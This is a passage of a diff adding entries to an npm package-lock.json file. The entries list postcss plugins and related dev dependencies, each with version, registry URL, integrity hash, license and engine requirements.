"sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==", + "dev": true, + "license": "MIT", + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "cssnano-utils": "^3.1.0", + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-font-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", + "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-gradients": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", + "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "dev": true, + "license": "MIT", + "dependencies": { + "colord": "^2.9.1", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-params": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz", + "integrity": "sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==", + "dev": true, + "license": "MIT", + "dependencies": { + "browserslist": "^4.21.4", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-selectors": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", + "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-modules-extract-imports": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.1.0.tgz", + "integrity": "sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-local-by-default": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.2.0.tgz", + "integrity": "sha512-5kcJm/zk+GJDSfw+V/42fJ5fhjL5YbFDl8nVdXkJPLLW+Vf9mTD5Xe0wqIaDnLuL2U6cDNpTr+UQ+v2HWIBhzw==", + "dev": true, + "license": "MIT", + "dependencies": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^7.0.0", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-local-by-default/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-scope": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.2.1.tgz", + "integrity": "sha512-m9jZstCVaqGjTAuny8MdgE88scJnCiQSlSrOWcTQgM2t32UBe+MUmFSO5t7VMSfAf/FJKImAxBav8ooCHJXCJA==", + "dev": true, + "license": "ISC", + "dependencies": { + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-scope/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "icss-utils": "^5.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-nested": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz", + "integrity": "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.1.1" + }, + "engines": { + "node": ">=12.0" + }, + "peerDependencies": { + "postcss": "^8.2.14" + } + }, + "node_modules/postcss-nesting": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/postcss-nesting/-/postcss-nesting-10.2.0.tgz", + "integrity": "sha512-EwMkYchxiDiKUhlJGzWsD9b2zvq/r2SSubcRrgP+jujMXFzqvANLt16lJANC+5uZ6hjI7lpRmI6O8JIl+8l1KA==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "@csstools/selector-specificity": "^2.0.0", + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-normalize": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/postcss-normalize/-/postcss-normalize-10.0.1.tgz", + "integrity": "sha512-+5w18/rDev5mqERcG3W5GZNMJa1eoYYNGo8gB7tEwaos0ajk3ZXAI4mHGcNT47NE+ZnZD1pEpUOFLvltIwmeJA==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "@csstools/normalize.css": "*", + "postcss-browser-comments": "^4", + "sanitize.css": "*" + }, + "engines": { + "node": ">= 12" + }, + "peerDependencies": { + "browserslist": ">= 4", + "postcss": ">= 8" + } + }, + "node_modules/postcss-normalize-charset": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", + "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-display-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", + "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-positions": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", + "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-repeat-style": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", + "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-string": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", + "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-timing-functions": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", + "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-unicode": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.1.tgz", + "integrity": "sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==", + "dev": true, + "license": "MIT", + "dependencies": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-url": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", + "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "dev": true, + "license": "MIT", + "dependencies": { + "normalize-url": "^6.0.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-whitespace": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", + "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-opacity-percentage": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/postcss-opacity-percentage/-/postcss-opacity-percentage-1.1.3.tgz", + "integrity": "sha512-An6Ba4pHBiDtyVpSLymUUERMo2cU7s+Obz6BTrS+gxkbnSBNKSuD0AVUc+CpBMrpVPKKfoVz0WQCX+Tnst0i4A==", + "dev": true, + "funding": [ + { + "type": "kofi", + "url": "https://ko-fi.com/mrcgrtz" + }, + { + "type": "liberapay", + "url": "https://liberapay.com/mrcgrtz" + } + ], + "license": "MIT", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-ordered-values": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", + "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-overflow-shorthand": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/postcss-overflow-shorthand/-/postcss-overflow-shorthand-3.0.4.tgz", + "integrity": "sha512-otYl/ylHK8Y9bcBnPLo3foYFLL6a6Ak+3EQBPOTR7luMYCOsiVTUk1iLvNf6tVPNGXcoL9Hoz37kpfriRIFb4A==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-page-break": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/postcss-page-break/-/postcss-page-break-3.0.4.tgz", + "integrity": "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "postcss": "^8" + } + }, + "node_modules/postcss-place": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/postcss-place/-/postcss-place-7.0.5.tgz", + "integrity": "sha512-wR8igaZROA6Z4pv0d+bvVrvGY4GVHihBCBQieXFY3kuSuMyOmEnnfFzHl/tQuqHZkfkIVBEbDvYcFfHmpSet9g==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-preset-env": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/postcss-preset-env/-/postcss-preset-env-7.8.3.tgz", + "integrity": "sha512-T1LgRm5uEVFSEF83vHZJV2z19lHg4yJuZ6gXZZkqVsqv63nlr6zabMH3l4Pc01FQCyfWVrh2GaUeCVy9Po+Aag==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "@csstools/postcss-cascade-layers": "^1.1.1", + "@csstools/postcss-color-function": "^1.1.1", + "@csstools/postcss-font-format-keywords": "^1.0.1", + "@csstools/postcss-hwb-function": "^1.0.2", + "@csstools/postcss-ic-unit": "^1.0.1", + "@csstools/postcss-is-pseudo-class": "^2.0.7", + "@csstools/postcss-nested-calc": "^1.0.0", + "@csstools/postcss-normalize-display-values": "^1.0.1", + "@csstools/postcss-oklab-function": "^1.1.1", + "@csstools/postcss-progressive-custom-properties": "^1.3.0", + "@csstools/postcss-stepped-value-functions": "^1.0.1", + "@csstools/postcss-text-decoration-shorthand": "^1.0.0", + "@csstools/postcss-trigonometric-functions": "^1.0.2", + "@csstools/postcss-unset-value": "^1.0.2", + "autoprefixer": "^10.4.13", + "browserslist": "^4.21.4", + "css-blank-pseudo": "^3.0.3", + "css-has-pseudo": "^3.0.4", + "css-prefers-color-scheme": "^6.0.3", + "cssdb": "^7.1.0", + "postcss-attribute-case-insensitive": "^5.0.2", + "postcss-clamp": "^4.1.0", + "postcss-color-functional-notation": "^4.2.4", + "postcss-color-hex-alpha": "^8.0.4", + "postcss-color-rebeccapurple": "^7.1.1", + "postcss-custom-media": "^8.0.2", + "postcss-custom-properties": "^12.1.10", + "postcss-custom-selectors": "^6.0.3", + "postcss-dir-pseudo-class": "^6.0.5", + "postcss-double-position-gradients": "^3.1.2", + "postcss-env-function": "^4.0.6", + "postcss-focus-visible": "^6.0.4", + "postcss-focus-within": "^5.0.4", + "postcss-font-variant": "^5.0.0", + "postcss-gap-properties": "^3.0.5", + "postcss-image-set-function": "^4.0.7", + "postcss-initial": "^4.0.1", + "postcss-lab-function": "^4.2.1", + "postcss-logical": "^5.0.4", + "postcss-media-minmax": "^5.0.0", + "postcss-nesting": "^10.2.0", + "postcss-opacity-percentage": "^1.1.2", + "postcss-overflow-shorthand": "^3.0.4", + "postcss-page-break": "^3.0.4", + "postcss-place": "^7.0.5", + "postcss-pseudo-class-any-link": "^7.1.6", + "postcss-replace-overflow-wrap": "^4.0.0", + "postcss-selector-not": "^6.0.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-pseudo-class-any-link": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-7.1.6.tgz", + "integrity": "sha512-9sCtZkO6f/5ML9WcTLcIyV1yz9D1rf0tWc+ulKcvV30s0iZKS/ONyETvoWsr6vnrmW+X+KmuK3gV/w5EWnT37w==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-reduce-initial": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz", + "integrity": "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==", + "dev": true, + "license": "MIT", + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-transforms": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", + "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-replace-overflow-wrap": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-4.0.0.tgz", + "integrity": "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "postcss": "^8.0.3" + } + }, + "node_modules/postcss-selector-not": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-selector-not/-/postcss-selector-not-6.0.1.tgz", + "integrity": "sha512-1i9affjAe9xu/y9uqWH+tD4r6/hDaXJruk8xn2x1vzxC2U3J3LKO3zJW4CyxlNhA56pADJ/djpEwpH1RClI2rQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", + "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-svgo": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz", + "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0", + "svgo": "^2.7.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-svgo/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/postcss-svgo/node_modules/css-tree": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/postcss-svgo/node_modules/mdn-data": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/postcss-svgo/node_modules/sax": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.6.0.tgz", + "integrity": "sha512-6R3J5M4AcbtLUdZmRv2SygeVaM7IhrLXu9BmnOGmmACak8fiUtOsYNWUS4uK7upbmHIBbLBeFeI//477BKLBzA==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=11.0.0" + } + }, + "node_modules/postcss-svgo/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-svgo/node_modules/svgo": { + "version": "2.8.2", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.2.tgz", + "integrity": "sha512-TyzE4NVGLUFy+H/Uy4N6c3G0HEeprsVfge6Lmq+0FdQQ/zqoVYB62IsBZORsiL+o96s6ff/V6/3UQo/C0cgCAA==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "^7.2.0", + "css-select": "^4.1.3", + "css-tree": "^1.1.3", + "csso": "^4.2.0", + "picocolors": "^1.0.0", + "sax": "^1.5.0", + "stable": "^0.1.8" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/postcss-unique-selectors": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", + "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/pretty-bytes": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz", + "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pretty-error": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-4.0.0.tgz", + "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==", + "dev": true, + "license": "MIT", + "dependencies": { + "lodash": "^4.17.20", + "renderkid": "^3.0.0" + } + }, + "node_modules/pretty-format": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz", + "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true, + "license": "MIT" + }, + "node_modules/promise": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/promise/-/promise-8.3.0.tgz", + "integrity": "sha512-rZPNPKTOYVNEEKFaq1HqTgOwZD+4/YHS5ukLzQCypkj+OkYx7iv0mA91lJlpPPZ8vMau3IIGj5Qlwrx+8iiSmg==", + "dev": true, + "license": "MIT", + "dependencies": { + "asap": "~2.0.6" + } + }, + "node_modules/prompts": { + "version": "2.4.2", + 